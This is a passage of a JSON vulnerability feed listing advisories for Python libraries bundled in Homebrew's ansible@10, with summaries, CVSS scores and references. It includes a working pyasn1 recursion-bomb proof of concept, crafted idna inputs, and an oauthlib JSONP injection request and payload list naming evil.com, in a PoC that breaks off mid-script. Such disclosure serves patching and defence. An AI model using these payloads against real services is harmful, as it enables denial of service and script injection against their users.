":"0.6.3","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"Denial of Service in pyasn1 via Unbounded Recursion","details":"### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30922"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22970"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22987"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6309"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:65126"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6568"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6720"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6912"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6926"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:8437"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-30922"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448553"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:12176"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13508"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13512"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13902"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13916"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13917"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:14020"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:16009"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17083"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17611"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19138"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19355"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:20588"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22131"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22132"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22133"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22134"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22135"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22969"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/03/20/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-34073","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:55Z","upstream":["GHSA-m959-cc7f-wv43","CVE-2026-34073","PYSEC-2026-35"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.7.0_4"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"46.0.6","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"cryptography has incomplete DNS name constraint enforcement on peer names","details":"## Summary\n\nIn versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the \"peer name\" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.\n\nThis behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.\n\nIn practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.\n\nSee CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.\n\n## Remediation\n\nUsers should upgrade to 46.0.6 or newer. \n\n## Attribution\n\nReporter: @1seal","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34073"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-39892","published":"2026-08-13T16:35:22Z","modified":"2026-11-05T09:43:04Z","upstream":["GHSA-p423-j2cm-9vmq","CVE-2026-39892","PYSEC-2026-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.7.0_4"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"46.0.7","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"Cryptography vulnerable to buffer overflow if non-contiguous buffers were passed to APIs","details":"If a non-contiguous buffer was passed to APIs which accepted Python buffers (e.g. `Hash.update()`), this could lead to buffer overflows. For example:\n\n```python\nh = Hash(SHA256())\nb.update(buf[::-1])\n```\n\nwould read past the end of the buffer on Python >3.11","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39892"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43651"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43670"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43851"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43853"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43854"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43855"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:46956"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:7295"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-39892"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456735"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:20338"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:21017"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22465"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22629"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22840"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:23361"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24853"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24866"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30088"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30089"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:42644"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/04/08/12"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-41066","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-vfmq-68hx-4jfw","CVE-2026-41066","PYSEC-2026-87"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"6.1.0","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.0.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.0.2","key":"pkg:pypi/lxml@6.0.2","resource":"lxml"}]},"summary":"lxml: Default configuration of iterparse() and ETCompatXMLParser() allows XXE to local files","details":"### Impact\nUsing either of the two parsers in the default configuration (with `resolve_entities=True`) allows untrusted XML input to read local files.\n\n### Patches\nlxml 6.1.0 changes the default to `resolve_entities='internal'`, thus disallowing local file access by default.\n\n### Workarounds\nSetting the `resolve_entities` option explicitly to `resolve_entities='internal'` or `resolve_entities=False` disables the local file access.\n\n### Resources\nOriginal report: https://bugs.launchpad.net/lxml/+bug/2146291\n\nThe default option was changed to `resolve_entities='internal'` for the normal XML and HTML parsers in lxml 5.0. The default was not changed for `iterparse()` and `ETCompatXMLParser()` at the time. lxml 6.1 makes the safe option the default for all parsers.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lxml/lxml/security/advisories/GHSA-vfmq-68hx-4jfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41066"},{"type":"WEB","url":"https://bugs.launchpad.net/lxml/+bug/2146291"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/releases/tag/lxml-6.1.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2026-87.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-44405","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T09:48:26Z","upstream":["GHSA-r374-rxx8-8654","CVE-2026-44405","PYSEC-2026-2858"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"5.0.0","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@4.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"4.0.0","key":"pkg:pypi/paramiko@4.0.0","resource":"paramiko"}]},"summary":"Paramiko rsakey.py allows the SHA-1 algorithm","details":"In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44405"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/a4489456b6f65281e172380cc4826cee5e851dbb"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r374-rxx8-8654"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2026-2858.yaml"},{"type":"WEB","url":"https://ostif.org/wp-content/uploads/2026/05/25-11-2415-REP_paramiko-security-audit_v1.1.pdf"},{"type":"WEB","url":"https://pypi.org/project/paramiko"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-44431","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-4539","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-5239-wwwm-4pmq","CVE-2026-4539","PYSEC-2026-2987"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.7.0_4"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.20.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.19.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.19.2","key":"pkg:pypi/pygments@2.19.2","resource":"pygments"}]},"summary":"Pygments has Regular Expression Denial of Service (ReDoS) due to Inefficient Regex for GUID Matching","details":"A security flaw has been discovered in pygments before 2.20.0. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4539"},{"type":"WEB","url":"https://github.com/pygments/pygments/issues/3058"},{"type":"WEB","url":"https://github.com/pygments/pygments/pull/3064"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/24b8aa76c6cd6d70f39c6dd605cce319c98e2ccc"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/releases/tag/2.20.0"},{"type":"WEB","url":"https://vuldb.com/?ctiid.352327"},{"type":"WEB","url":"https://vuldb.com/?id.352327"},{"type":"WEB","url":"https://vuldb.com/?submit.774685"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-45409","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.11"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.11","key":"pkg:pypi/idna@3.11","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-49264","published":"2026-09-30T19:48:26Z","modified":"2026-10-14T09:04:23Z","upstream":["GHSA-hj66-6f7g-4r5v","CVE-2026-49264","PYSEC-2026-4113"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation","details":"### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n    response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n    response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything&callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `<script src=\"...\">`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `<script src=\"https://auth.example.com/revoke?token=x&callback=payload\">` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `<script src>` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n    \"\"\"Auth fails -> triggers error response path (lines 72-73).\"\"\"\n    def client_authentication_required(self, request, *a, **kw): return True\n    def authenticate_client(self, request, *a, **kw): return False\n    def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n    \"\"\"Auth passes -> triggers success response path (lines 81-82).\"\"\"\n    def client_authentication_required(self, request, *a, **kw): return False\n    def authenticate_client_id(self, client_id, request, *a, **kw): return True\n    def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n    \"alert(document.cookie)//\",\n    \"window.location='https://evil.com/'//\",\n    \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_fail.create_revocation_response(\n        \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = 